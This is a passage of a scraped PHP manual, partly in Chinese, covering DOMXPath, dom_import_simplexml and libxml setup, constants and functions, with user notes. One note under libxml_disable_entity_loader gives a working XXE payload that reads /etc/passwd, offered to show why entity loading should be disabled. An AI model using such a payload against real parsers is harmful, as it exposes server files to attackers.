<?xml version="1.0" encoding="UTF-8"?>
<entry xmlns="http://www.w3.org/2005/Atom" xmlns:other="http://other.w3.org/other" >
        <id>uYG7-sPwjFg</id>
        <published>2009-05-17T18:29:31.000Z</published>
</entry>
EOT;

$doc = new DOMDocument;
$doc->loadXML($xml);
$xpath =  DOMXPath($doc);

$xpath->registerNamespace('atom', "http://www.w3.org/2005/Atom");

$xpath_str = '//atom:entry/atom:published/text()';

$entries = $xpath->evaluate($xpath_str);

print $entries->item(0)->nodeValue ."\n";

?>
agent009 31-Mar-2009 04:55
Ok, here's a function that extends XPath syntax with the following special characters:

~ inserts default namespace prefix if defined

# shorthand for text()

% shorthand for comment()

$ shorthand for node()

?* shorthand for processing-instruction()

?foo shorthand for processing-instruction("foo")

? shorthand for processing-instruction("")

^ escapes following character (with literal or SGML entity as needed)

All of the above except ^ are ignored within quoted strings

<?php
function extendXPath($str, $defns = NULL) {
   $quote = false;
   $map = array(
      '~' => isset($defns) ? "$defns:" : '',
      '#' => 'text()',
      '%' => 'comment()',
      '$' => 'node()'
   );
   $out = '';

   for ($i = 0, $len = strlen($str); $i < $len; $i++) {
      $c = $str[$i];
      if (!$quote && array_key_exists($c, $map)) {
         $out .= $map[$c];
      } else switch ($c) {
         case '^':
            $out .= htmlspecialchars($str[++$i], ENT_QUOTES);
            break;
         case '?':
            if ($quote) {
               $out .= $c;
            } elseif ($str[$i + 1] == '*') {
               $out .= 'processing-instruction()';
               $i++;
            } else {
               preg_match('/^\w+/', substr($str, $i + 1), $matches);
               $out .= 'processing-instruction("'.$matches[0].'")';
               $i += strlen($matches[0]);
            };
            break;
         case '"':
            $quote = !$quote;
         default:
            $out .= $c;
      };
   };

   return $out;
}
?>
cameron kellough 14-Apr-2007 10:33
This is called prefix mapping and it is necessary to use xpath to handle documents which have default namespaces. //root/item will search for items with no namespace, not items with the namespace described as the default in the xmlns declaration.  This problem is maddening as it just looks on the surface like xpath isn't working.
spam at spam dot spam 31-Mar-2005 12:46
It is mentioned in a few places on the web, but it wasn't mentioned here. You need to use this function to set up a prefix for the default namespace of a document.

For instance, if you are trying to parse a Microsoft Spreadsheet XML file, which has the default namespace of "urn:schemas-microsoft-com:office:spreadsheet":

$doc = DOMDocument::load("my_spreadsheet.xml);
$xpath = new DOMXPath($doc);
$xpath->registerNamespace("m",
        "urn:schemas-microsoft-com:office:spreadsheet");
$query = '/m:Workbook/m:Worksheet[1]/m:Table';
$result = $xpath->query($query, $doc);

You can use anything in place of the 'm', but you have to specify something! Just asking for "/Workbook/Worksheet/Table" doesn't work.


Register PHP functions as XPath functions

  • ? DOMXPath::registerNamespace
  • DOM 函数 ?
  • PHP Manual
  • DOMXPath
  • Register PHP functions as XPath functions

DOMXPath::registerPhpFunctions

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

DOMXPath::registerPhpFunctions — Register PHP functions as XPath functions

说明

public DOMXPath::registerPhpFunctions(string|array|null $restrict = null): void

This method enables the ability to use PHP functions within XPath expressions.

参数

restrict

Use this parameter to only allow certain functions to be called from XPath.

This parameter can be either a string (a function name) or an array of function names.

返回值

没有返回值。

示例

The following examples use book.xml which contains the following:

Example #1 book.xml

<?xml version="1.0" encoding="UTF-8"?>
<books>
 <book>
  <title>PHP Basics</title>
  <author>Jim Smith</author>
  <author>Jane Smith</author>
 </book>
 <book>
  <title>PHP Secrets</title>
  <author>Jenny Smythe</author>
 </book>
 <book>
  <title>XML basics</title>
  <author>Joe Black</author>
 </book>
</books>

Example #2 DOMXPath::registerPHPFunctions() with php:functionString

<?php
$doc = new DOMDocument;
$doc->load('book.xml');

$xpath = new DOMXPath($doc);

// Register the php: namespace (required)
$xpath->registerNamespace("php", "http://php.net/xpath");

// Register PHP functions (no restrictions)
$xpath->registerPHPFunctions();

// Call substr function on the book title
$nodes = $xpath->query('//book[php:functionString("substr", title, 0, 3) = "PHP"]');

echo "Found {$nodes->length} books starting with 'PHP':\n";
foreach ($nodes as $node) {
$title = $node->getElementsByTagName("title")->item(0)->nodeValue;
$author = $node->getElementsByTagName("author")->item(0)->nodeValue;
echo "$title by $author\n";
}

?>

以上示例的输出类似于：

Found 2 books starting with 'PHP':
PHP Basics by Jim Smith
PHP Secrets by Jenny Smythe

Example #3 DOMXPath::registerPHPFunctions() with php:function

<?php
$doc = new DOMDocument;
$doc->load('book.xml');

$xpath = new DOMXPath($doc);

// Register the php: namespace (required)
$xpath->registerNamespace("php", "http://php.net/xpath");

// Register PHP functions (has_multiple only)
$xpath->registerPHPFunctions("has_multiple");

function has_multiple($nodes) {
// Return true if more than one author
return count($nodes) > 1;
}
// Filter books with multiple authors
$books = $xpath->query('//book[php:function("has_multiple", author)]');

echo "Books with multiple authors:\n";
foreach ($books as $book) {
echo $book->getElementsByTagName("title")->item(0)->nodeValue . "\n";
}

?>

以上示例的输出类似于：

Books with multiple authors:
PHP Basics

参见

  • DOMXPath::registerNamespace() - Registers the namespace with the DOMXPath object
  • DOMXPath::query() - Evaluates the given XPath expression
  • DOMXPath::evaluate() - Evaluates the given XPath expression and returns a typed result if possible

User Contributed Notes

There are no user contributed notes for this page.


DOM 函数

Table of Contents

  • dom_import_simplexml — Gets a DOMElement object from a SimpleXMLElement object

User Contributed Notes

There are no user contributed notes for this page.


Gets a DOMElement object from a SimpleXMLElement object

  • ? DOM 函数
  • libxml ?
  • PHP Manual
  • DOM 函数
  • Gets a DOMElement object from a SimpleXMLElement object

dom_import_simplexml

(PHP 5, PHP 7, PHP 8)

dom_import_simplexml — Gets a DOMElement object from a SimpleXMLElement object

说明

dom_import_simplexml(object $node): DOMElement

This function takes the node node of class SimpleXML and makes it into a DOMElement node. This new object can then be used as a native DOMElement node.

参数

node

The SimpleXMLElement node.

返回值

The DOMElement node added.

更新日志

版本 | 说明
8.0.0 | This function no longer returns null on failure.

示例

Example #1 Import SimpleXML into DOM with dom_import_simplexml()

<?php

$sxe = simplexml_load_string('<books><book><title>blah</title></book></books>');

if ($sxe === false) {
echo 'Error while parsing the document';
exit;
}

$dom_sxe = dom_import_simplexml($sxe);
if (!$dom_sxe) {
echo 'Error while converting XML';
exit;
}

$dom = new DOMDocument('1.0');
$dom_sxe = $dom->importNode($dom_sxe, true);
$dom_sxe = $dom->appendChild($dom_sxe);

echo $dom->saveXML();

?>

参见

  • simplexml_import_dom() - Get a SimpleXMLElement object from a DOM node

User Contributed Notes

h4ss4n3 at hyj4z1 dot me 08-Sep-2020 08:08
//No need to initiate, import and append on example#1

(...)
$dom_sxe = dom_import_simplexml($sxe);
if (!$dom_sxe) {
    echo 'Erreur lors de la conversion du XML';
    exit;
}

//$dom = new DOMDocument('1.0');
//$dom_sxe = $dom->importNode($dom_sxe, true);
//$dom_sxe = $dom->appendChild($dom_sxe);

//use ownerDocument propertie
echo $dom->ownerDocument->saveXML();

?>
biniou at yopmail dot com 20-May-2016 09:58
Very useful to add a CDATA node with SimpleXMLElement (use it like addChild) :

<?php
class My_SimpleXMLElement extends SimpleXMLElement {

    public function addChildWithCData($name, $value = NULL) {
        $new_child = $this->addChild($name);

        $node = dom_import_simplexml($new_child);
        $no = $node->ownerDocument;
        $node->appendChild($no->createCDATASection($value));

        return $new_child;
    }
}
Jeff M 06-Mar-2009 01:09
SimpleXML is an 'Object Mapping XML API'. It is not DOM, per se. SimpleXML converts the XML elements into PHP's native data types.

The dom_import_simplexml and simplexml_import_dom functions do *not* create separate copies of the original object. You are free to use the methods of either or both interchangeably, since the underlying instance is the same.

<?php
    // initialize a simplexml object
    $sxe = simplexml_load_string('<root/>');

    // get a dom interface on the simplexml object
    $dom = dom_import_simplexml($sxe);

    // dom adds a new element under the root
    $element = $dom->appendChild(new DOMElement('dom_element'));

    // dom adds an attribute on the new element
    $element->setAttribute('creator', 'dom');

    // simplexml adds an attribute on the dom element
    $sxe->dom_element['sxe_attribute'] = 'added by simplexml';

    // simplexml adds a new element under the root
    $element = $sxe->addChild('sxe_element');

    // simplexml adds an attribute on the new element
    $element['creator'] = 'simplexml';

    // dom finds the simplexml element (via DOMNodeList->index)
    $element = $dom->getElementsByTagName('sxe_element')->item(0);

    // dom adds an attribute on the simplexml element
    $element->setAttribute('dom_attribute', 'added by dom');

    echo ('<pre>');
    print_r($sxe);
    echo ('</pre>');
?>

Outputs:

SimpleXMLElement Object
(
    [dom_element] => SimpleXMLElement Object
        (
            [@attributes] => Array
                (
                    [creator] => dom
                    [sxe_attribute] => added by simplexml
                )

        )

    [sxe_element] => SimpleXMLElement Object
        (
            [@attributes] => Array
                (
                    [creator] => simplexml
                    [dom_attribute] => added by dom
                )

        )

)

What this illustrates is that both interfaces are operating on the same underlying object instance. Also, when you dom_import_simplexml, you can create and add new elements without reference to an ownerDocument (or documentElement).

So passing a SimpleXMLElement to another method does not mean the recipient is limited to using SimpleXML methods.

Hey Presto! Your telescope has become a pair of binoculars!
crescentfreshpot at yahoo dot com 12-Dec-2007 12:22
justinpatrin at php dot net:
> To get a proper DOM document (which you need to do most things) you need...

No you don't. Just do:
<?php
$dom = dom_import_simplexml($xml)->ownerDocument;
?>
justinpatrin at php dot net 01-Jun-2006 09:44
I've found that newer versions of PHP5 require some special syntax in order to properly convert between SimpleXML and DOM. It's not as easy as calling dom_import_simplexml() with a SimpleXML node. To get a proper DOM document (which you need to do most things) you need:
<?php
//$xml is a SimpleXML instance
$domnode = dom_import_simplexml($xml);
$dom = new DOMDocument();
$domnode = $dom->importNode($domnode, true);
$dom->appendChild($domnode);
?>

Switching back, though, is, well...simple.

<?php
//$dom is a DOMDocument instance
$xml = simplexml_import_dom($dom);
?>


libxml

  • 简介
  • 安装/配置
    • 需求
    • Installation for PHP versions >= 7.4
    • Installation for PHP versions < 7.4
    • 运行时配置
    • 资源类型
  • 预定义常量
  • libXMLError — The libXMLError class
  • libxml 函数
    • libxml_clear_errors — Clear libxml error buffer
    • libxml_disable_entity_loader — Disable the ability to load external entities
    • libxml_get_errors — Retrieve array of errors
    • libxml_get_external_entity_loader — Get the current external entity loader
    • libxml_get_last_error — Retrieve last error from libxml
    • libxml_set_external_entity_loader — Changes the default external entity loader
    • libxml_set_streams_context — Set the streams context for the next libxml document load or write
    • libxml_use_internal_errors — Disable libxml errors and allow user to fetch error information as needed

User Contributed Notes

There are no user contributed notes for this page.


简介

These functions/constants are available as of PHP 5.1.0, and the following core extensions rely on this libxml extension: DOM, libxml, SimpleXML, SOAP, WDDX, XSL, XML, XMLReader, XMLRPC 和 XMLWriter.

User Contributed Notes

There are no user contributed notes for this page.


安装/配置

Table of Contents

  • 需求
  • Installation for PHP versions >= 7.4
  • Installation for PHP versions < 7.4
  • 运行时配置
  • 资源类型

User Contributed Notes

There are no user contributed notes for this page.


需求

This extension requires » libxml >= 2.9.0 as of PHP 8.0. libxml >= 2.6.0 prior to PHP 8.0.

User Contributed Notes

There are no user contributed notes for this page.


Installation for PHP versions >= 7.4

The libxml extension is enabled by default, although it may be disabled with --without-libxml.

PHP uses pkg-config to select the right library file, header files, and compile flags to use for libxml2. To ensure that the desired version of libxml2 is selected, the PKG_CONFIG_PATH environment variable may be used to control the search path for pkg-config prior to running the configure script:

PKG_CONFIG_PATH="/path/to/libxml2/prefix/lib/pkgconfig:/lib/pkgconfig"

User Contributed Notes

mansourjabin at gmail dot com 06-Nov-2023 05:35
Critical Note: In PHP 7.4, an issue presents itself when interfacing with libxml version 2.10.2. If you're deploying PHP 7.4 and wish to maintain operational stability, ensure that libxml is aligned to version 2.9.10. This version has been verified to work seamlessly with PHP 7.4, thereby preventing potential conflicts.
KiralyCraft 19-Sep-2022 05:51
Please note that this option does not seem to work for PHP 8.1.10 anymore.


Installation for PHP versions < 7.4

The libxml extension is enabled by default, although it may be disabled with --disable-libxml.

The optional --with-libxml-dir directive is used to specify the location of libxml on the system that PHP is being compiled on, otherwise only the default locations are scanned. The configure process checks for libxml (specifically, xml2-config) in the following order:

  1. The location ([DIR]) specified with --with-libxml-dir ([DIR]=/bin/xml2-config)

  2. /usr/local/bin/xml2-config

  3. /usr/bin/xml2-config

If configure cannot find xml2-config in the directory specified by --with-libxml-dir, then it'll continue on and check the default locations.

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

LIBXML_BIGLINES (int)
Allows line numbers greater than 65535 to be reported correctly.

Note:

Only available as of PHP 7.0.0 with Libxml >= 2.9.0

LIBXML_COMPACT (int)
Activate small nodes allocation optimization. This may speed up your application without needing to change the code.

Note:

Only available in Libxml >= 2.6.21

LIBXML_DTDATTR (int)
Default DTD attributes
LIBXML_DTDLOAD (int)
Load the external subset
LIBXML_DTDVALID (int)
Validate with the DTD
Caution

Enabling validating the DTD may facilitate XML External Entity (XXE) attacks.

LIBXML_HTML_NOIMPLIED (int)
Sets HTML_PARSE_NOIMPLIED flag, which turns off the automatic adding of implied html/body... elements.

Note:

Only available in Libxml >= 2.7.7 (as of PHP >= 5.4.0)

LIBXML_HTML_NODEFDTD (int)
Sets HTML_PARSE_NODEFDTD flag, which prevents a default doctype being added when one is not found.

Note:

Only available in Libxml >= 2.7.8 (as of PHP >= 5.4.0)

LIBXML_NOBLANKS (int)
Remove blank nodes
LIBXML_NOCDATA (int)
Merge CDATA as text nodes
LIBXML_NOEMPTYTAG (int)
Expand empty tags (e.g. <br/> to <br></br>)

Note:

This option is currently just available in the DOMDocument::save and DOMDocument::saveXML functions.

LIBXML_NOENT (int)
Substitute entities
Caution

Enabling entity substitution may facilitate XML External Entity (XXE) attacks.

LIBXML_NOERROR (int)
Suppress error reports
LIBXML_NONET (int)
Disable network access when loading documents
LIBXML_NOWARNING (int)
Suppress warning reports
LIBXML_NOXMLDECL (int)
Drop the XML declaration when saving a document

Note:

Only available in Libxml >= 2.6.21

LIBXML_NSCLEAN (int)
Remove redundant namespace declarations
LIBXML_PARSEHUGE (int)
Sets XML_PARSE_HUGE flag, which relaxes any hardcoded limit from the parser. This affects limits like maximum depth of a document or the entity recursion, as well as limits of the size of text nodes.

Note:

Only available in Libxml >= 2.7.0 (as of PHP >= 5.3.2 and PHP >= 5.2.12)

LIBXML_PEDANTIC (int)
Sets XML_PARSE_PEDANTIC flag, which enables pedantic error reporting.

Note:

Available as of PHP >= 5.4.0

LIBXML_XINCLUDE (int)
Implement XInclude substitution
LIBXML_ERR_ERROR (int)
A recoverable error
LIBXML_ERR_FATAL (int)
A fatal error
LIBXML_ERR_NONE (int)
No errors
LIBXML_ERR_WARNING (int)
A simple warning
LIBXML_VERSION (int)
libxml version like 20605 or 20617
LIBXML_DOTTED_VERSION (string)
libxml version like 2.6.5 or 2.6.17
LIBXML_SCHEMA_CREATE (int)
Create default/fixed value nodes during XSD schema validation

Note:

Only available in Libxml >= 2.6.14 (as of PHP >= 5.5.2)

User Contributed Notes

Ismael Miguel 07-Jul-2023 10:53
If you want to save without the XML declaration, and LIBXML_NOXMLDECL doesn't work for you, you can just do this:

<?php
$doc = new \DOMDocument('1.0', 'UTF-8');
$doc->loadXML($xml, LIBXML_*);

echo $doc->saveXML($doc->firstElementChild);
?>

This will output the XML without the XML declaration and without using the flag.
You also don't need to do fiddly replacements and pray that it works.
siraic at gmail dot com 24-Mar-2021 12:10
The name of the constant LIBXML_NOENT is very misleading. Adding this flag actually causes the parser to load and insert the external entities. Omitting it leaves the tags untouched, which is probably what you want.
vetalstar at mail dot ru 16-Nov-2017 12:26
LIBXML_DOTTED_VERSION option doesn't work.
libxml version: 2.9.4

<?php

echo LIBXML_DOTTED_VERSION;
$xml = new SimpleXMLElement('<fasa_request id="1234567"/>', LIBXML_NOXMLDECL);

?>
@oneseventeen 05-Feb-2011 11:51
When inserting XML DOM Elements inside existing XML DOM Elements that I loaded from an XML file using the following code, none of my new elements were formatted correctly, they just showed up on one line:

<?php
$dom = DOMDocument::load('file.xml');
$dom->formatOutput = true;
//$dom->add some new elements with child nodes somewhere inside the loaded XML using insertBefore();
$dom->saveXML();
//output: everything looks normal but the new nodes are all on one line.
?>

I found I could pass LIBXML_NOBLANKS to the load method and it would reformat the whole document, including my added stuff:
<?php
$dom = DOMDocument::load('file.xml', LIBXML_NOBLANKS);
$dom->formatOutput = true;
//$dom->add some new elements with child nodes somewhere inside the loaded XML using insertBefore();
$dom->saveXML();
//output: everything looks newly formatted, including new nodes
?>

Hope this helps, took me hours of trial and error to figure this out!
zachatwork at gmail dot com 09-Feb-2010 11:30
Note: The LIBXML_NOXMLDECL constant is defined in this library but is not supported by DOMDocument (yet).

See also: http://bugs.php.net/bug.php?id=47137

<?php

print "PHP_VERSION:      ".PHP_VERSION."\n";
print "LIBXML_VERSION:   ".LIBXML_VERSION."\n";
print "LIBXML_NOXMLDECL: ".LIBXML_NOXMLDECL."\n";

$dom = new DomDocument();
$dom->loadXML("<foo />");

# This should work but doesn't.

print "DOMDocument doesn't honor LIBXML_NOXMLDECL:\n";
print $dom->saveXML(null,LIBXML_NOXMLDECL);

# This works, and will still work after the above is fixed.

print "Forwards compatible workaround:\n";
$lines = explode("\n", $dom->saveXML(null, LIBXML_NOXMLDECL), 2);
if(!preg_match('/^\<\?xml/', $lines[0]))
    print $lines[0];
print $lines[1];

?>

PHP_VERSION:      5.3.1-0.dotdeb.1
LIBXML_VERSION:   20632
LIBXML_NOXMLDECL: 2
DOMDocument doesn't honor LIBXML_NOXMLDECL:
<?xml version="1.0"?>
<foo/>
Forwards compatible workaround:
<foo/>


The libXMLError class

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

简介

Contains various information about errors thrown by libxml. The error codes are described within the official » xmlError API documentation.

类摘要

class libXMLError {
/* 属性 */
public int $level;
public int $code;
public int $column;
public string $message;
public string $file;
public int $line;
}

属性

level

the severity of the error (one of the following constants: LIBXML_ERR_WARNING, LIBXML_ERR_ERROR or LIBXML_ERR_FATAL)

code

The error's code.

column

The column where the error occurred.

Note:

This property isn't entirely implemented in libxml and therefore 0 is often returned.

message

The error message, if any.

file

The filename, or empty if the XML was loaded from a string.

line

The line where the error occurred.

User Contributed Notes

There are no user contributed notes for this page.


libxml 函数

Table of Contents

  • libxml_clear_errors — Clear libxml error buffer
  • libxml_disable_entity_loader — Disable the ability to load external entities
  • libxml_get_errors — Retrieve array of errors
  • libxml_get_external_entity_loader — Get the current external entity loader
  • libxml_get_last_error — Retrieve last error from libxml
  • libxml_set_external_entity_loader — Changes the default external entity loader
  • libxml_set_streams_context — Set the streams context for the next libxml document load or write
  • libxml_use_internal_errors — Disable libxml errors and allow user to fetch error information as needed

User Contributed Notes

There are no user contributed notes for this page.


Clear libxml error buffer

  • ? libxml 函数
  • libxml_disable_entity_loader ?
  • PHP Manual
  • libxml 函数
  • Clear libxml error buffer

libxml_clear_errors

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

libxml_clear_errors — Clear libxml error buffer

说明

libxml_clear_errors(): void

libxml_clear_errors() clears the libxml error buffer.

参数

此函数没有参数。

返回值

没有返回值。

参见

  • libxml_get_errors() - Retrieve array of errors
  • libxml_get_last_error() - Retrieve last error from libxml

User Contributed Notes

There are no user contributed notes for this page.


Disable the ability to load external entities

  • ? libxml_clear_errors
  • libxml_get_errors ?
  • PHP Manual
  • libxml 函数
  • Disable the ability to load external entities

libxml_disable_entity_loader

(PHP 5 >= 5.2.11, PHP 7, PHP 8)

libxml_disable_entity_loader — Disable the ability to load external entities

Warning

本函数已自 PHP 8.0.0 起被废弃。强烈建议不要依赖本函数。

说明

libxml_disable_entity_loader(bool $disable = true): bool

Disable/enable the ability to load external entities. Note that disabling the loading of external entities may cause general issues with loading XML documents. However, as of libxml 2.9.0 entity substitution is disabled by default, so there is no need to disable the loading of external entities, unless there is the need to resolve internal entity references with LIBXML_NOENT. Generally, it is preferable to use libxml_set_external_entity_loader() to suppress loading of external entities.

参数

disable

Disable (true) or enable (false) libxml extensions (such as DOM, XMLWriter and XMLReader) to load external entities.

返回值

Returns the previous value.

参见

  • libxml_use_internal_errors() - Disable libxml errors and allow user to fetch error information as needed
  • libxml_set_external_entity_loader() - Changes the default external entity loader
  • The LIBXML_NOENT constant

User Contributed Notes

editor at geekkb.com 27-Apr-2023 02:46
There is an extra \ should be deleted before PHP_VERSION_ID in the code which suconghou posted 2 years ago.

if (PHP_VERSION_ID < 80000) {
    libxml_disable_entity_loader(true);
}
suconghou at gmail dot com 07-Jan-2021 10:27
In PHP 8.0 and later, PHP uses libxml versions from 2.9.0, libxml_disable_entity_loader is deprecated.
so it is now safe to remove all `libxml_disable_entity_loader` calls on php8

if you want Backwards Compatibility

use this snippet

if (\PHP_VERSION_ID < 80000) {
    libxml_disable_entity_loader(true);
}
vavra at 602 dot cz 04-Jan-2018 09:48
If is called
libxml_disable_entity_loader(true);

, it causes that new SoapClient(.) fails with

SOAP-ERROR: Parsing WSDL: Couldn't load from 'D:\path/dm_operations.wsdl' : failed to load external entity "D:\path/dm_operations.wsdl

because this wsdl imports a xsd as an another external file.
Tested on php 7.1.12, win x64.
brendan at bloodbone dot ws 25-Mar-2014 10:23
This also seems to have an impact on <xsl:import /> statements if this is applied when loading XSLT for the XSLTProcessor class.
phofstetter at sensational dot ch 27-Jan-2014 04:36
Be mindful that this also disables url loading in simplexml_load_file() and likely other libxml based functions that deal with URLs
daschtour at me dot com 25-Dec-2013 11:56
This function was reported to be not thread safe. So this might affect php-scripts on the same server.
simonsimcity 29-Feb-2012 06:23
Using this function you can prevent a vulnerable to Local and Remote File Inclusion attacks.

You'll see it in an example where I load and validate the following string:

<!DOCTYPE scan [<!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">]>
<scan>&test;</scan>

One way to prevent that the file in given back is to set this value to 0.
Please take a closer look at the release of symfony 2.0.11


Retrieve array of errors

  • ? libxml_disable_entity_loader
  • libxml_get_external_entity_loader ?
  • PHP Manual
  • libxml 函数
  • Retrieve array of errors

libxml_get_errors

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

libxml_get_errors — Retrieve array of errors

说明

libxml_get_errors(): array

Retrieve array of errors.

参数

此函数没有参数。

返回值

Returns an array with LibXMLError objects if there are any errors in the buffer, or an empty array otherwise.

示例

Example #1 A libxml_get_errors() example

This example demonstrates how to build a simple libxml error handler.

<?php

libxml_use_internal_errors(true);

$xmlstr = <<< XML
<?xml version='1.0' standalone='yes'?>
<movies>
<movie>
<titles>PHP: Behind the Parser</title>
</movie>
</movies>
XML;

$doc = simplexml_load_string($xmlstr);
$xml = explode("\n", $xmlstr);

if ($doc === false) {
$errors = libxml_get_errors();

foreach ($errors as $error) {
echo display_xml_error($error, $xml);
}

libxml_clear_errors();
}

function display_xml_error($error, $xml)
{
$return = $xml[$error->line - 1] . "\n";
$return .= str_repeat('-', $error->column) . "^\n";

switch ($error->level) {
case LIBXML_ERR_WARNING:
$return .= "Warning $error->code: ";
break;
case LIBXML_ERR_ERROR:
$return .= "Error $error->code: ";
break;
case LIBXML_ERR_FATAL:
$return .= "Fatal Error $error->code: ";
break;
}

$return .= trim($error->message) .
"\n Line: $error->line" .
"\n Column: $error->column";

if ($error->file) {
$return .= "\n File: $error->file";
}

return "$return\n\n--------------------------------------------\n\n";
}

?>

以上示例会输出：

  <titles>PHP: Behind the Parser</title>
----------------------------------------------^
Fatal Error 76: Opening and ending tag mismatch: titles line 4 and title
  Line: 4
  Column: 46

--------------------------------------------

参见

  • libxml_get_last_error() - Retrieve last error from libxml
  • libxml_clear_errors() - Clear libxml error buffer

User Contributed Notes

lech 29-Jul-2017 12:12
Please beware that the column property seems almost always to be invalid. I thought it only occurred when the line in question was long (and I was just about to submit a bug report with an example), however, at the time of posting, you can even see the problem in the example provided on this page: line 4 does not even have 46 characters. Where the XML line is long, the difference can be very large.

This property comes from the libxml extension, so in any case I don't think this is a PHP bug, however it is worth knowing that the value might be totally unreliable to save some confusion.

The PHP documentation page for the libXMLError class gives some indication, stating:

"This property isn't entirely implemented in libxml and therefore 0 is often returned."

(My libxml version: 2.9.1)


Get the current external entity loader

  • ? libxml_get_errors
  • libxml_get_last_error ?
  • PHP Manual
  • libxml 函数
  • Get the current external entity loader

libxml_get_external_entity_loader

(PHP 8 >= 8.2.0)

libxml_get_external_entity_loader — Get the current external entity loader

说明

libxml_get_external_entity_loader(): ?callable

Get external entity loader previously installed by libxml_set_external_entity_loader().

参数

此函数没有参数。

返回值

The external entity loader previously installed by libxml_set_external_entity_loader(). If that function was never called, or if it was called with null, null will be returned.

参见

  • libxml_set_external_entity_loader() - Changes the default external entity loader

User Contributed Notes

There are no user contributed notes for this page.


Retrieve last error from libxml

  • ? libxml_get_external_entity_loader
  • libxml_set_external_entity_loader ?
  • PHP Manual
  • libxml 函数
  • Retrieve last error from libxml

libxml_get_last_error

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

libxml_get_last_error — Retrieve last error from libxml

说明

libxml_get_last_error(): LibXMLError|false

Retrieve last error from libxml.

参数

此函数没有参数。

返回值

Returns a LibXMLError object if there is any error in the buffer, false otherwise.

参见

  • libxml_get_errors() - Retrieve array of errors
  • libxml_clear_errors() - Clear libxml error buffer

User Contributed Notes

There are no user contributed notes for this page.


Changes the default external entity loader

  • ? libxml_get_last_error
  • libxml_set_streams_context ?
  • PHP Manual
  • libxml 函数
  • Changes the default external entity loader

libxml_set_external_entity_loader

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

libxml_set_external_entity_loader — Changes the default external entity loader

说明

libxml_set_external_entity_loader(?callable $resolver_function): bool

Changes the default external entity loader. This can be used to suppress the expansion of arbitrary external entities to avoid XXE attacks, even when LIBXML_NOENT has been set for the respective operation, and is usually preferable over calling libxml_disable_entity_loader().

参数

resolver_function

A callable with the following signature:

resolver(?string $public_id, string $system_id, array $context): resource|string|null
public_id
The public ID.
system_id
The system ID.
context
An array with the four elements "directory", "intSubName", "extSubURI" and "extSubSystem".
This callable should return a resource, a string from which a resource can be opened. If null is returned, the entity reference resolution will fail.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 libxml_set_external_entity_loader() example

<?php
$xml = <<<XML
<!DOCTYPE foo PUBLIC "-//FOO/BAR" "http://example.com/foobar">
<foo>bar</foo>
XML;

$dtd = <<<DTD
<!ELEMENT foo (#PCDATA)>
DTD;

libxml_set_external_entity_loader(
function ($public, $system, $context) use($dtd) {
var_dump($public);
var_dump($system);
var_dump($context);
$f = fopen("php://temp", "r+");
fwrite($f, $dtd);
rewind($f);
return $f;
}
);

$dd = new DOMDocument;
$r = $dd->loadXML($xml);

var_dump($dd->validate());
?>

以上示例会输出：

string(10) "-//FOO/BAR"
string(25) "http://example.com/foobar"
array(4) {
    ["directory"]    => NULL
    ["intSubName"]   => NULL
    ["extSubURI"]    => NULL
    ["extSubSystem"] => NULL
}
bool(true)

参见

  • libxml_disable_entity_loader() - Disable the ability to load external entities
  • libxml_get_external_entity_loader() - Get the current external entity loader

User Contributed Notes

There are no user contributed notes for this page.


Set the streams context for the next libxml document load or write

  • ? libxml_set_external_entity_loader
  • libxml_use_internal_errors ?
  • PHP Manual
  • libxml 函数
  • Set the streams context for the next libxml document load or write

libxml_set_streams_context

(PHP 5, PHP 7, PHP 8)

libxml_set_streams_context — Set the streams context for the next libxml document load or write

说明

libxml_set_streams_context(resource $context): void

Sets the streams context for the next libxml document load or write.

参数

context

The stream context resource (created with stream_context_create())

返回值

没有返回值。

示例

Example #1 A libxml_set_streams_context() example

<?php

$opts = array(
'http' => array(
'user_agent' => 'PHP libxml agent',
)
);

$context = stream_context_create($opts);
libxml_set_streams_context($context);

// request a file through HTTP
$doc = DOMDocument::load('http://www.example.com/file.xml');

?>

参见

  • stream_context_create() - 创建资源流上下文

User Contributed Notes

There are no user contributed notes for this page.


Disable libxml errors and allow user to fetch error information as needed

  • ? libxml_set_streams_context
  • SimpleXML ?
  • PHP Manual
  • libxml 函数
  • Disable libxml errors and allow user to fetch error information as needed

libxml_use_internal_errors

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

libxml_use_internal_errors — Disable libxml errors and allow user to fetch error information as needed

说明

libxml_use_internal_errors(?bool $use_errors = null): bool

libxml_use_internal_errors() allows you to disable standard libxml errors and enable user error handling.

参数

use_errors

Enable (true) user error handling or disable (false) user error handling. Disabling will also clear any existing libxml errors.

返回值

This function returns the previous value of use_errors.

更新日志

版本 | 说明
8.0.0 | use_errors is nullable now. Previously, its default was false.

示例

Example #1 A libxml_use_internal_errors() example

This example demonstrates the basic usage of libxml errors and the value returned by this function.

<?php

// enable user error handling
var_dump(libxml_use_internal_errors(true));

// load the document
$doc = new DOMDocument;

if (!$doc->load('file.xml')) {
foreach (libxml_get_errors() as $error) {
// handle errors here
}

libxml_clear_errors();
}

?>

以上示例会输出：

bool(false)

参见

  • libxml_clear_errors() - Clear libxml error buffer
  • libxml_get_errors() - Retrieve array of errors

User Contributed Notes

marcovtwout 07-May-2013 01:05
When using libxml_use_internal_errors(true), and perform a possibly memory intensive operation like simplexml_load_string() next, you might end up with a blank screen and no php error logged because the error message been suppressed.
james at dunmore dot me dot uk 21-Aug-2008 03:03
We use a custom error handler using  set_error_handler()  I found that after I call

libxml_use_internal_errors(false);

It resets my error_handler - not sure if this is a bug or not, I will report it as a bug - however, I needed to repeat my call to set_error_handler

(did confuse me for a while)
B Crawford 03-Oct-2007 06:22
When using this funtion, be sure to clear your internal error buffer. If you dn't and you are using this in a long running process, you may find that all your memory is used up.


SimpleXML

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 示例
    • Basic SimpleXML usage
    • Dealing with XML errors
  • SimpleXMLElement — The SimpleXMLElement class
    • SimpleXMLElement::addAttribute — Adds an attribute to the SimpleXML element
    • SimpleXMLElement::addChild — Adds a child element to the XML node
